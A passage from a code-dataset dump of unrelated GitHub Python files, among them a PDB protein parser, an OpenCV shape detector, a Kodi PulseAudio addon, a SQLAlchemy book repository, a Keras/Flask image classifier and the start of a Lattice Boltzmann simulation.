\"states\"\n\n id = Column(Integer(), autoincrement=True, unique=True,\n nullable=False, primary_key=True)\n name = Column(String(128), nullable=False)\n","repo_name":"LauSCaicedo/holbertonschool-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/model_state.py","file_name":"model_state.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30995722457","text":"from typing import Optional, Union, List\nimport argparse\n\nTHREE_SYMBOLS_TO_ONE = {\n \"Ala\": \"A\",\n \"Asx\": \"B\",\n \"Cys\": \"C\",\n \"Asp\": \"D\",\n \"Glu\": \"E\",\n \"Phe\": \"F\",\n \"Gly\": \"G\",\n \"His\": \"H\",\n \"Ile\": \"I\",\n \"Lys\": \"K\",\n \"Leu\": \"L\",\n \"Met\": \"M\",\n \"Asn\": \"N\",\n \"Pro\": \"P\",\n \"Gln\": \"Q\",\n \"Arg\": \"R\",\n \"Ser\": \"S\",\n \"Thr\": \"T\",\n \"Val\": \"V\",\n \"Trp\": \"W\",\n \"Tyr\": \"Y\"\n}\n\n\nclass AtomRecord:\n # Took it from https://www.wwpdb.org/documentation/file-format-content/format23/sect9.html#ATOM\n ATOM_RECORD_FIELDS = {\n \"Record\": slice(0, 6),\n \"Serial\": slice(6, 11),\n \"Atom Name\": slice(12, 16),\n \"Residue Name\": slice(17, 20),\n \"ChainID\": slice(21, 22),\n \"Residue Sequence\": slice(22, 26),\n \"x\": slice(30, 38),\n \"y\": slice(38, 46),\n \"z\": slice(46, 54),\n \"Occupancy\": slice(54, 60),\n \"Temperature Factor\": slice(60, 66)\n }\n\n record: str\n serial: int\n atom_name: str\n residue_name: str\n chain_ID: chr\n residue_sequence: int\n x: float\n y: float\n z: float\n occupancy: float\n temperature_factor: float\n\n def __init__(self, data: str):\n self._parse_data(data.strip())\n self.residue_name_one_letter = THREE_SYMBOLS_TO_ONE[self.residue_name.capitalize()]\n\n def _parse_data(self, data: str):\n self._parse_record(data[self.ATOM_RECORD_FIELDS[\"Record\"]])\n self._parse_serial(data[self.ATOM_RECORD_FIELDS[\"Serial\"]])\n self._parse_atom_name(data[self.ATOM_RECORD_FIELDS[\"Atom Name\"]])\n self._parse_residue_name(data[self.ATOM_RECORD_FIELDS[\"Residue Name\"]])\n self._parse_chain_id(data[self.ATOM_RECORD_FIELDS[\"ChainID\"]])\n self._parse_residue_sequence(data[self.ATOM_RECORD_FIELDS[\"Residue Sequence\"]])\n self._parse_x(data[self.ATOM_RECORD_FIELDS[\"x\"]])\n self._parse_y(data[self.ATOM_RECORD_FIELDS[\"y\"]])\n self._parse_z(data[self.ATOM_RECORD_FIELDS[\"z\"]])\n self._parse_occupancy(data[self.ATOM_RECORD_FIELDS[\"Occupancy\"]])\n self._parse_temperature_factor(data[self.ATOM_RECORD_FIELDS[\"Temperature Factor\"]])\n\n def _parse_record(self, record: str):\n self.record = record.strip()\n\n def _parse_serial(self, serial: str):\n self.serial = int(serial.strip())\n\n def _parse_atom_name(self, atom_name: str):\n self.atom_name = atom_name.strip()\n\n def _parse_residue_name(self, residue_name: str):\n self.residue_name = residue_name.strip()\n\n def _parse_chain_id(self, chain_id: str):\n self.chain_ID = chain_id.strip()\n\n def _parse_residue_sequence(self, residue_sequence: str):\n self.residue_sequence = int(residue_sequence.strip())\n\n def _parse_x(self, x: str):\n self.x = float(x.strip())\n\n def _parse_y(self, y: str):\n self.y = float(y.strip())\n\n def _parse_z(self, z: str):\n self.z = float(z.strip())\n\n def _parse_occupancy(self, occupancy: str):\n self.occupancy = float(occupancy.strip())\n\n def _parse_temperature_factor(self, temperature_factor: str):\n self.temperature_factor = float(temperature_factor.strip())\n\n\nclass Chain:\n atoms: List[AtomRecord]\n chain_id: Optional[str]\n\n def __init__(self, atoms: List[AtomRecord] = []):\n self.atoms = atoms\n self.chain_id = None\n self._set_chain_id()\n\n def change_occupancy(self, occupancy: float):\n for atom in self.atoms:\n atom.occupancy = occupancy\n\n def append_atom(self, atom: AtomRecord):\n self.atoms.append(atom)\n if self.chain_id is None:\n self._set_chain_id()\n\n def _set_chain_id(self):\n if len(self.atoms) > 0 and self.chain_id is None:\n self.chain_id = self.atoms[0].chain_ID\n\n\nclass PDB:\n chains: List[Chain]\n\n def __init__(self, chains: List[Chain] = []):\n self.chains = chains\n\n def append_chain(self, chain: Chain):\n self.chains.append(chain)\n\n def change_occupancy(self, occupancy: float, chain_id: str = \"ALL\"):\n for chain in self.chains:\n if chain_id == chain.chain_id or chain_id == \"ALL\":\n chain.change_occupancy(occupancy)\n\n def write_to_pdb_file(self):\n pass\n\n\ndef parse_pdb_from_file(pdb_path: str) -> PDB:\n pdb = PDB()\n with open(pdb_path, 'r', encoding=\"UTF-8\") as fhand:\n chain = Chain([].copy())\n for line in fhand:\n if not line.startswith(\"ATOM\"):\n if line.startswith(\"TER\"):\n pdb.append_chain(chain)\n chain = Chain([].copy())\n continue\n continue\n atom = AtomRecord(line)\n chain.append_atom(atom)\n\n return pdb\n\n\ndef extract_amino_chain(chains: List[List[AtomRecord]]) -> str:\n unique_amino_acids_chains = []\n for chain in chains:\n unique_amino_atom = set()\n for atom in chain:\n unique_amino_atom.add((atom.residue_sequence, atom.residue_name_one_letter))\n sorted_unique_amino_atom = sorted(unique_amino_atom, key=lambda x: x[0])\n unique_amino_acids_chains.append(sorted_unique_amino_atom)\n\n amino_chain_string_list = set()\n for amino_chain in unique_amino_acids_chains:\n amino_chain_string = ''.join([value for key, value in amino_chain])\n amino_chain_string_list.add(amino_chain_string)\n\n return str(amino_chain_string_list)\n\n\ndef change_occupancy(pdb_file, output_file: str, occupancy: List[str], chain_id: Union[List[str], str, None] = \"ALL\"):\n ATOM_RECORD_FIELDS = {\n \"ChainID\": slice(21, 22),\n \"Occupancy\": slice(54, 60),\n }\n changes = {}\n if chain_id is None:\n chain_id = \"ALL\"\n changes[chain_id] = occupancy[0]\n else:\n for key, value in zip(chain_id, occupancy):\n changes[key] = value\n\n with open(output_file, \"w\") as results:\n for line in pdb_file:\n if line.startswith(\"ATOM\"):\n atom_chain_id = line[ATOM_RECORD_FIELDS[\"ChainID\"]].strip()\n num_white_spaces = (ATOM_RECORD_FIELDS[\"Occupancy\"].stop - ATOM_RECORD_FIELDS[\"Occupancy\"].start)\n if atom_chain_id in changes.keys():\n occ = f'{changes[atom_chain_id]: >{num_white_spaces}}'\n elif chain_id == \"ALL\":\n occ = f'{changes[chain_id]: >{num_white_spaces}}'\n line = line[:ATOM_RECORD_FIELDS[\"Occupancy\"].start] + occ + line[ATOM_RECORD_FIELDS[\"Occupancy\"].stop:]\n results.write(line)\n\n\ndef main():\n parser = argparse.ArgumentParser(description='PDB Tools')\n sub_parsers = parser.add_subparsers(help=\"help\", dest='command')\n\n change_occupancy_parser = sub_parsers.add_parser('change-occupancy', help=\"help\")\n change_occupancy_parser.add_argument('-i', '--input', dest='input_file_name', help=\"File to parse\",required=True)\n change_occupancy_parser.add_argument('-o', '--output', dest='output_file_name', help=\"File output\", required=True)\n change_occupancy_parser.add_argument('--occupancy', dest='occupancy', type=str, nargs='*', help=\"Occupancy number\", required=True)\n change_occupancy_parser.add_argument('--chain-id', dest='chain_id', type=str, nargs='*', help=\"Chain ID to change occupancy to\")\n\n args = parser.parse_args()\n\n if args.command == \"change-occupancy\":\n with open(args.input_file_name, \"r\") as fh:\n change_occupancy(pdb_file=fh, output_file=args.output_file_name, occupancy=args.occupancy, chain_id=args.chain_id)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cohen604/pdb-parser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73865990542","text":"import cv2\r\nimport numpy as np\r\n\r\nimagen = cv2.imread('monedas-naipes.jpg', cv2.IMREAD_COLOR)\r\n# Convertir la imagen en escala de grises\r\ngray = cv2.cvtColor(imagen, cv2.COLOR_BGR2GRAY)\r\n# Convertir la imagen en binaria\r\ncanny = cv2.Canny(gray, 10, 150)\r\n# Aplicar dilatación y erosión a la imagen para mayor precisión al detectar vértices\r\ncanny = cv2.dilate(canny, None, iterations=1)\r\ncanny = cv2.erode(canny, None, iterations=1)\r\n# Detectar los contornos de los objetos en la imagen\r\ncnts, _ = cv2.findContours(canny, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # en OpenCV 4\r\n# c (contorno a analizar), epsilon (precisión de aproximación)\r\nfor c in cnts:\r\n # Establecer un porcentaje de aproximación\r\n epsilon = 0.01 * cv2.arcLength(c, True) # True (curva cerrada) o False (curva no cerrada)\r\n approx = cv2.approxPolyDP(c, epsilon, True)\r\n x, y, w, h = cv2.boundingRect(approx)\r\n # Averiguar la cantidad de vértices detectados del objeto\r\n if len(approx) == 4:\r\n aspectRatio = float(w) / h\r\n\r\n if aspectRatio == 1:\r\n cv2.putText(imagen, 'Cuadrado', (x + 20, y - 20), 1, 1, (0, 0, 0), 1)\r\n cv2.putText(imagen, \"(ancho: \" + str(w) + \", alto: \" + str(h) + \")\", (x - 40, y - 5), 1, 1, (0, 0, 0), 1)\r\n cv2.drawContours(imagen, [approx], 0, (0, 0, 0), 2)\r\n print('Cuadrado: ancho,alto =', w, h, 'píxeles')\r\n else:\r\n cv2.putText(imagen, 'Rectangulo', (x + 70, y - 20), 1, 1, (0, 0, 0), 1)\r\n cv2.putText(imagen, \"(ancho: \" + str(w) + \", alto: \" + str(h) + \")\", (x + 20, y - 5), 1, 1, (0, 0, 0), 1)\r\n cv2.drawContours(imagen, [approx], 0, (0, 0, 0), 2)\r\n print('Rectángulo: ancho,alto =', w, h, 'píxeles')\r\n\r\n if len(approx) > 10:\r\n area = cv2.contourArea(c)\r\n radio = np.sqrt(area / np.pi)\r\n cv2.putText(imagen, 'Circulo', (x + 15, y - 20), 1, 1, (0, 0, 0), 1)\r\n cv2.putText(imagen, \"(radio: \" + str(int(round(radio))) + \")\", (x - 1, y - 5), 1, 1, (0, 0, 0), 1)\r\n cv2.drawContours(imagen, [approx], 0, (0, 0, 0), 2)\r\n print('Círculo: radio =', int(round(radio)), 'píxeles')\r\n\r\n# Mostrar el resultado\r\nwhile 1:\r\n cv2.imshow('Resultado', imagen)\r\n key = cv2.waitKey(1)\r\n if key == ord('q') or key == 27:\r\n break\r\ncv2.destroyAllWindows()\r\n","repo_name":"bianchi017/Vision-por-computadora-TPs","sub_path":"TP10.py","file_name":"TP10.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2703139112","text":"import xbmcaddon\nimport xbmcgui\nimport xbmc\nimport os\nimport subprocess\nimport json\nimport time\n \n# Open dialog box through the duration of the script\ndialog = xbmcgui.DialogProgressBG()\ndialog.create( 'Please wait...', 'Turning off streaming' )\n\naddon = xbmcaddon.Addon()\naddonname = addon.getAddonInfo('name')\naddonpath = addon.getAddonInfo('path')\n \n# Read in configuration options\nconfig_file = addonpath + '/resources/config.json'\nconfig = None\ntry:\n with open( config_file, 'r' ) as f:\n config_str = f.read()\n\n # parse json settings for config settings\n # this is Python 2 so no need to decode to utf-8\n config = json.JSONDecoder().decode( config_str )\nexcept:\n None\t# config will remain None\n\n# Stop anything playing as we will be suspending audio engine \n#xbmc.Player.stop() # needs an argument!\n\n# Suspend audio engine for Kodi to release PulseAudio\nxbmc.audioSuspend()\n\n# Run PulseAudio setup commands\nsubprocess.call('systemctl restart pulseaudio', shell=True)\n\n# Disable PulseAudio output so Kodi can use its native audio output\n#subprocess.call(['pactl', 'load-module', 'module-null-sink', 'sink_name=auto_null'])\n#time.sleep(5)\n\n# Resume audio engine again\nxbmc.audioResume()\n\n# Close the dialog box\ndialog.close()\n","repo_name":"pymusement/kodi_pulseaudio_rtp_addon","sub_path":"script.rtp.off/addon.py","file_name":"addon.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17896049230","text":"from datetime import date\nfrom typing import List\n\nfrom sqlalchemy import desc, asc\nfrom sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound\nfrom sqlalchemy import insert, select, delete\n\nfrom sqlalchemy.orm import scoped_session\nfrom flask import _app_ctx_stack\n\nfrom capitulo.domain.model import User, Book, Review, Publisher, Author\nfrom capitulo.adapters.repository import AbstractRepository\nfrom capitulo.adapters.orm import reading_list_table\n\nclass SessionContextManager:\n def __init__(self, session_factory):\n self.__session_factory = session_factory\n self.__session = scoped_session(self.__session_factory, scopefunc=_app_ctx_stack.__ident_func__)\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n self.rollback()\n\n @property\n def session(self):\n return self.__session\n\n def commit(self):\n self.__session.commit()\n\n def rollback(self):\n self.__session.rollback()\n\n def reset_session(self):\n # this method can be used e.g. to allow Flask to start a new session for each http request,\n # via the 'before_request' callback\n self.close_current_session()\n self.__session = scoped_session(self.__session_factory, scopefunc=_app_ctx_stack.__ident_func__)\n\n def close_current_session(self):\n if not self.__session is None:\n self.__session.close()\n\n\nclass SqlAlchemyRepository(AbstractRepository):\n\n def __init__(self, session_factory):\n self._session_cm = SessionContextManager(session_factory)\n\n def close_session(self):\n self._session_cm.close_current_session()\n\n def reset_session(self):\n self._session_cm.reset_session()\n\n def add_user(self, user: User):\n with self._session_cm as scm:\n scm.session.add(user)\n scm.commit()\n\n def get_user(self, user_name: str) -> User:\n user = None\n try:\n user = self._session_cm.session.query(User).filter(User._User__user_name == user_name).one()\n except NoResultFound:\n # Ignore any exception and return None.\n pass\n\n return user\n\n def get_number_of_users(self):\n number_of_users = self._session_cm.session.query(User).count()\n return number_of_users\n\n def add_book(self, book: Book):\n with self._session_cm as scm:\n scm.session.add(book)\n if book.publisher != None:\n scm.session.add(book.publisher)\n for author in book.authors:\n scm.session.add(author)\n scm.commit()\n\n def get_book(self, id: int) -> Book:\n book = None\n try:\n book = self._session_cm.session.query(Book).filter(Book._Book__book_id == id).one()\n except NoResultFound:\n # Ignore any exception and return None\n pass\n\n return book\n\n def get_all_books(self) -> List[Book]:\n books = self._session_cm.session.query(Book).all()\n return books\n\n def get_books_by_author(self, author: Author) -> List[Book]:\n if author is None:\n books = self._session_cm.session.query(Book).all()\n return books\n else:\n # Return books matching author; return an empty list if there are no matches.\n # books = self._session_cm.session.query(Book).filter(author in Book._Book__authors).all()\n result = []\n books = list(self._session_cm.session.query(Book).all())\n for book in books:\n if author in book.authors:\n result.append(book)\n return result\n\n def get_books_by_language(self, language: str) -> List[Book]:\n if language is None:\n books = self._session_cm.session.query(Book).all()\n return books\n else:\n # Return books matching author; return an empty list if there are no matches.\n # books = self._session_cm.session.query(Book).filter(Book._Book__language == language).all()\n result = []\n books = list(self._session_cm.session.query(Book).all())\n for book in books:\n if book.language == language:\n result.append(book)\n return result\n\n def get_books_by_publisher(self, publisher: str) -> List[Book]:\n if publisher is None:\n books = self._session_cm.session.query(Book).all()\n return books\n else:\n # Return books matching author; return an empty list if there are no matches.\n result = []\n books = list(self._session_cm.session.query(Book).all())\n for book in books:\n if book.publisher != None and book.publisher.name == publisher:\n result.append(book)\n return result\n # books = self._session_cm.session.query(Book).filter(Book._Book__publisher == publisher).all()\n # return books\n\n def get_books_by_title(self, title: str) -> List[Book]:\n if title is None:\n books = self._session_cm.session.query(Book).all()\n return books\n else:\n # Return books matching author; return an empty list if there are no matches.\n books = self._session_cm.session.query(Book).filter(Book._Book__title == title).all()\n return books\n\n def get_books_by_release_year(self, release_year: int) -> List[Book]:\n if release_year is None:\n books = self._session_cm.session.query(Book).all()\n return books\n else:\n # Return books matching author; return an empty list if there are no matches.\n books = self._session_cm.session.query(Book).filter(Book._Book__release_year == release_year).all()\n return books\n\n def get_book_ids_for_author(self, full_name: str):\n book_ids = []\n\n row = self._session_cm.session.execute('SELECT id FROM authors WHERE full_name = :full_name',\n {'full_name': full_name}).fetchone()\n\n if row is None:\n # No author with the name full_name - create an empty list\n book_ids = list()\n else:\n author_id = row[0]\n # Retrieve book ids of books associated with the author\n book_ids = self._session_cm.session.execute(\n 'SELECT book_id FROM book_authors WHERE author_id = :author_id ORDER BY book_id ASC',\n {'author_id': author_id}\n ).fetchall()\n book_ids = [id[0] for id in book_ids]\n return book_ids\n\n def get_book_ids_for_publisher(self, name: str):\n book_ids = []\n book_ids = self._session_cm.session.execute('SELECT books.book_id FROM publishers LEFT JOIN books ON books.publisher = publishers.name WHERE publishers.name = :name',\n {'name': name}).fetchall()\n if book_ids is None:\n # No existing publisher - create an empty list\n book_ids = list()\n book_ids = [id[0] for id in book_ids]\n return book_ids\n\n def get_book_ids_for_language(self, language: str):\n book_ids = []\n row = self._session_cm.session.execute('SELECT book_id FROM books WHERE language = :language',\n {'language': language}).fetchall()\n if row is None:\n # No author with the name target_author - create an empty list\n book_ids = list()\n else:\n book_ids = [id[0] for id in row]\n return book_ids\n\n def get_book_ids_for_year(self, year: int):\n book_ids = []\n row = self._session_cm.session.execute('SELECT book_id FROM books WHERE release_year = :year',\n {'year': year}).fetchall()\n if row is None:\n # No author with the name target_author - create an empty list\n book_ids = list()\n else:\n book_ids = [id[0] for id in row]\n return book_ids\n\n def get_number_of_books(self) -> int:\n number_of_books = self._session_cm.session.query(Book).count()\n return number_of_books\n\n def get_first_book(self) -> Book:\n book = self._session_cm.session.query(Book).first()\n return book\n\n def get_last_book(self) -> Book:\n book = self._session_cm.session.query(Book).order_by(Book._Book__id.desc()).first()\n return book\n\n def get_languages(self):\n # query = self._session_cm.session.query(Book).filter(Book._Book__language)\n row = self._session_cm.session.execute('SELECT language FROM books').fetchall()\n if row is None:\n languages = list()\n else:\n languages = self._session_cm.session.execute(\n 'SELECT language FROM books ORDER BY language ASC').fetchall()\n languages = [item[0] for item in languages]\n languages = list(dict.fromkeys(languages))\n return sorted(languages)\n\n def add_language(self, language: str):\n with self._session_cm as scm:\n scm.session.add(language)\n scm.commit()\n\n def get_authors(self):\n authors = self._session_cm.session.query(Author).all()\n return sorted(authors)\n\n def get_publishers(self):\n publishers = self._session_cm.session.query(Publisher).all()\n result = []\n for publisher in publishers:\n result.append(publisher.name)\n return sorted(result)\n\n def get_release_years(self):\n # query = self._session_cm.session.query(Book).filter(Book._Book__language)\n #row = self._session_cm.session.execute('SELECT release_year FROM books').fetchall()\n #if row is None:\n # release_year = list()\n #else:\n # release_year = self._session_cm.session.execute(\n # 'SELECT release_year FROM books ORDER BY release_year ASC').fetchall()\n release_years = self._session_cm.session.execute(\n 'SELECT release_year FROM books WHERE release_year IS NOT NULL ORDER BY release_year ASC'\n )\n release_years = [item[0] for item in release_years]\n release_years = list(dict.fromkeys(release_years))\n return release_years\n\n def get_reviews(self) -> List[Review]:\n reviews = self._session_cm.session.query(Review).all()\n return reviews\n\n def add_review(self, review: Review):\n super().add_review(review)\n with self._session_cm as scm:\n scm.session.add(review)\n scm.commit()\n\n def get_number_of_reviews(self):\n number_of_reviews = self._session_cm.session.query(Review).count()\n return number_of_reviews\n\n def get_reading_list(self, user_name: str) -> List[Book]:\n # Implement a method of narrowing down the books to only those that are linked to the specified user\n current_user = self._session_cm.session.query(User).filter(User._User__user_name == user_name).first()\n reading_list = current_user.reading_list\n return reading_list\n\n def add_book_to_reading_list(self, book: Book, user: User):\n stmt = insert(reading_list_table).values(title = book.title, user_name = user.user_name)\n with self._session_cm as scm:\n scm.session.execute(stmt)\n scm.commit()\n\n def remove_book_from_reading_list(self, book: Book, user):\n stmt = delete(reading_list_table).where(reading_list_table.c.title == book.title, reading_list_table.c.user_name == user.user_name)\n with self._session_cm as scm:\n scm.session.execute(stmt)\n scm.commit()\n\n def get_book_ids_all(self):\n book_ids = []\n\n row = self._session_cm.session.execute('SELECT id FROM books').fetchall()\n book_ids = [val[0] for val in row]\n return book_ids\n\n def get_books_by_id(self, id_list):\n books = self._session_cm.session.query(Book).filter(Book._Book__book_id.in_(id_list)).all()\n return books\n","repo_name":"kana140/library-web-application","sub_path":"capitulo/adapters/database_repository.py","file_name":"database_repository.py","file_ext":"py","file_size_in_byte":12005,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"27482805729","text":"from __future__ import division, print_function\n\n# coding=utf-8\nimport sys\nimport os\nimport glob\nimport re\nimport numpy as np\n\n# Keras\nimport keras\nprint('Keras version: {}'.format(keras.__version__))\nimport tensorflow as tf\nprint('Tensorflow version: {}'.format(tf.__version__))\n\nfrom keras.preprocessing import image\nfrom keras.applications.resnet50 import preprocess_input, decode_predictions\nfrom keras.models import load_model\nfrom keras.preprocessing import image\n\n# Flask utils\nfrom flask import Flask, redirect, url_for, request, render_template\nfrom werkzeug.utils import secure_filename\nfrom gevent.pywsgi import WSGIServer\n\n# google Translator\nfrom googletrans import Translator\n\n\n# Define a flask app\napp = Flask(__name__)\n\n# Model saved with Keras model.save()\nMODEL_PATH = 'models/your_model.h5'\n\n# Load your trained model\n# model = load_model(MODEL_PATH)\n# model._make_predict_function() # Necessary\n# print('Model loaded. Start serving...')\n\n# You can also use pretrained model from Keras\n# Check https://keras.io/applications/\n\nfrom keras.applications.resnet50 import ResNet50\nmodel = ResNet50(weights='imagenet')\nprint('Model loaded. Check http://127.0.0.1:5000/')\n\n\ndef model_predict(img_path, model):\n #img = image.load_img(img_path, target_size=(224, 224))\n img = image.load_img(img_path, target_size=(224, 224))\n\n # Preprocessing the image\n x = image.img_to_array(img)\n # x = np.true_divide(x, 255)\n x = np.expand_dims(x, axis=0)\n\n # Be careful how your trained model deals with the input\n # otherwise, it won't make correct prediction!\n x = preprocess_input(x, mode='caffe')\n # x = preprocess_input(x)\n\n preds = model.predict(x)\n return preds\n\n\n@app.route('/', methods=['GET'])\ndef index():\n # Main page\n return render_template('index.html')\n\n@app.route('/predict', methods=['GET', 'POST'])\ndef upload():\n if request.method == 'POST':\n\n # Get the file from post request\n f = request.files['image']\n\n # Save the file to ./uploads\n basepath = os.path.dirname(__file__)\n file_path = os.path.join(\n basepath, 'uploads', secure_filename(f.filename))\n f.save(file_path)\n\n # Make prediction\n preds = model_predict(file_path, model)\n\n # Process your result for human\n # pred_class = preds.argmax(axis=-1) # Simple argmax\n # pred_class = decode_predictions(preds, top=1) # ImageNet Decode\n # decode the results into a list of tuples (class, description, probability)\n # (one such list for each sample in the batch)\n\n pred_class = decode_predictions(preds, top=3)\n #print('Predicted:', decode_predictions(preds, top=3)[0])\n #print ('Predicted n 1:', str(pred_class[0][0][0])) # result n\n #print ('Predicted result 1:', str(pred_class[0][0][1])) # result text\n #print ('Predicted accuracy 1:', str(pred_class[0][0][2])) # result accuracy\n\n predictions_list_full = {}\n predictions_list = ''\n # Iterating using while loop \n i = 0\n while i < len(pred_class[0]): \n #print(f'prediction {i + 1}: ',pred_class[0][i])\n #print(f'Predicted result {i + 1} Text: ',pred_class[0][i][1], ' Accuracy: ', pred_class[0][i][2])\n\n predictions_list_full.update({pred_class[0][i][1]: pred_class[0][i][2]})\n #print(f'>>>>>>>> Predictions: ',predictions_list_full)\n print(f'>>>>>>>> Predictions: ',i + 1, ' <<<<<<<<<<')\n prGreen(predictions_list_full)\n\n \n if len(predictions_list) > 0: \n if pred_class[0][i][2] > 0.15: # accuracy treshhold\n #print(f'accuracy: ',pred_class[0][i][2])\n predictions_list = f\"{predictions_list}, {pred_class[0][i][1]}\"\n else: \n predictions_list = str(pred_class[0][i][1])\n i += 1\n\n\n #result = str(pred_class[0][0][1]) # Convert to string\n predictions_list = predictions_list.replace('_',' ')\n \n predictions_list = (predictions_list, ' - ', translate(predictions_list)) # result translation\n #print('predictions_list: ', predictions_list)\n\n encodedStr = convertTuple(predictions_list)\n return encodedStr\n return None\n\n\ndef prGreen(skk): print(\"\\033[92m {}\\033[00m\" .format(skk))\n\n\ndef convertTuple(tup): \n str = ''.join(tup) \n return str\n\ndef translate(stringX):\n\n #translator pip install googletrans\n translator = Translator()\n text = translator.translate(stringX, src='en', dest='ru').text\n #print(' translator......... ', text)\n return text;\n\nif __name__ == '__main__':\n # app.run(port=5002, debug=True)\n\n # Serve the app with gevent\n http_server = WSGIServer(('0.0.0.0', 5000), app)\n http_server.serve_forever()\n","repo_name":"cipoch/keras-flask-web","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27485471519","text":"from ODRL import Party\nfrom ODRL import Asset\nfrom ODRL import Action\nfrom ODRL import Constraint\nfrom ODRL import Policy\nfrom ODRL import Rule\nfrom Service import Consumer\nfrom Service import Operation\nfrom Service import Provider\nfrom Service import QoS\nfrom Service import Service\nfrom Service import SLA\n\n\ndef Asset2Service_c(_asset):\n # σ(ass: C.Asset) → ser: C.Service\n if isinstance(_asset, Asset.Asset):\n new_service = Service.Service(_asset.uid)\n return new_service\n\n\ndef Party2Provider_c(_party):\n # σ(ass: C.Party) → ser: C.Provider\n if isinstance(_party, Party.Party) and _party.function == \"assigner\":\n new_provider = Provider.Provider(_party.uid)\n return new_provider\n\n\ndef Party2Consumer_c(_party):\n # σ(ass: C.Party) → ser: C.Consumer\n if isinstance(_party, Party.Party) and _party.function == \"assignee\":\n new_consumer = Consumer.Consumer(_party.uid)\n return new_consumer\n\n\ndef Policy2SLA_c(_policy):\n # σ(ass: C.Policy) → ser: C.SLA\n if isinstance(_policy, Policy.Policy):\n new_SLA = SLA.SLA(_policy.uid)\n return new_SLA\n\n\ndef Rule2None_c(_rule):\n # σ(ass:C.Rule) → φ\n if isinstance(_rule, Rule.Rule):\n pass\n\n\ndef Action2Operation_c(_action):\n # σ(ass:C.Action) → ser:C.Operation\n if isinstance(_action, Action.Action):\n new_operation = Operation.Operation(_action.name)\n return new_operation\n\n\ndef Constraint2QoS_c(_constraint):\n # σ(ass:C.Constraint) → ser:C.QoS\n if isinstance(_constraint, Constraint.Constraint):\n new_QoS = QoS.QoS(_constraint.leftOperand, _constraint.rightOperand, _constraint.operator, _constraint.unit)\n return new_QoS\n\n\ndef Asset2Service(_policy):\n result_service_list = []\n if isinstance(_policy, Policy.Policy):\n # generate service for each asset\n for tmp_asset in _policy.asset_list:\n # σ(ass:R.asset(C.Policy,C.Asset)) → ser:R.sla(C.Service,C.SLA)\n tmp_service = Asset2Service_c(tmp_asset)\n tmp_sla = Policy2SLA_c(_policy)\n tmp_service.add_sla(tmp_sla)\n result_service_list.append(tmp_service)\n\n # update service\n for tmp_service in result_service_list:\n for tmp_party in _policy.party_list:\n # σ(ass:R.party(C.Policy,C.Party)) → ser:R.provider(C.SLA,C.Provider) ∪\n # ser:R.provider(C.Service,C.Provider)\n if tmp_party.function == \"assigner\":\n tmp_provider = Party2Provider_c(tmp_party)\n tmp_service.provider = tmp_provider\n # add provider for each sla in service\n for tmp_sla in tmp_service.sla_list:\n tmp_sla.set_provider(tmp_provider)\n if tmp_party.function == \"assignee\":\n # SLA.consumer ← Consumer\n tmp_consumer = Party2Consumer_c(tmp_party)\n # add consumer for each sla in service\n for tmp_sla in tmp_service.sla_list:\n tmp_sla.set_consumer(tmp_consumer)\n for tmp_action in _policy.action:\n # Service.operation ← Operation\n tmp_operation = Action2Operation_c(tmp_action)\n tmp_service.add_operation(tmp_operation)\n for tmp_permission in _policy.permission:\n # Service.operation ← Operation\n tmp_action = tmp_permission.action\n tmp_operation = Action2Operation_c(tmp_action)\n tmp_service.add_operation(tmp_operation)\n for tmp_constraint in _policy.constraint_list:\n # Service.qos ← QoS\n tmp_qos = Constraint2QoS_c(tmp_constraint)\n tmp_service.add_qos(tmp_qos)\n # add QoS for each sla in service\n for tmp_sla in tmp_service.sla_list:\n tmp_sla.add_qos(tmp_qos)\n return result_service_list\n","repo_name":"ForestLeem/RaaS","sub_path":"AssetToService/AaaS.py","file_name":"AaaS.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25963544842","text":"# Coursera - Simulation and modeling of natural processes - Lattice Boltzmann modeling of fluid flow\r\n\r\n# Importing libraries\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\n\r\n# Defining parameters\r\n# Flow parameters\r\nt_iter = 10 # Total number of iterations\r\nnx = 400 # Number of nodes along X\r\nny = 100 # Number of nodes along Y\r\nh = ny - 1 # Height of domain\r\n\r\ncx = nx/4 # X co-ordinate of body (cylinder)\r\ncy = ny/2 # Y co-ordinate of body\r\n\r\nRe = 10 # Reynold's number\r\nr = ny/9 # Radius of body\r\nuL = 0.04 # Characteristic length of body\r\nnuL = uL*r/float(Re) # viscosity\r\nomega = 1/float(3*nuL+0.5) # Relaxation parameter\r\n\r\ncol1 = np.array([0,1,2]) # Define column 1\r\ncol2 = np.array([3,4,5]) # Define column 2\r\ncol3 = np.array([6,7,8]) # Define column 3\r\n\r\nobstacle = (nx-cx)**2+(ny-cy)**2 < r**2\r\n\r\n# Lattice parameters\r\nv = np.array([ [ 1, 1], [ 1, 0], [ 1, -1], [ 0, 1], [ 0, 0], [ 0, -1], [-1, 1], [-1, 0], [-1, -1] ]) # Lattice velocities\r\nt = np.array([ 1/float(36), 1/float(9), 1/float(36), 1/float(9), 4/float(9), 1/float(9), 1/float(36), 1/float(9), 1/float(36)]) # Compensation for different lengths of v_i\r\n\r\nfin = np.zeros((9, nx, ny)) # Inlet population\r\nfout = np.zeros((9, nx, ny)) # Outlet population\r\n\r\n# Initial perturbation\r\ndef inivel(d, x, y):\r\n return (1-d) * uL * (1 + 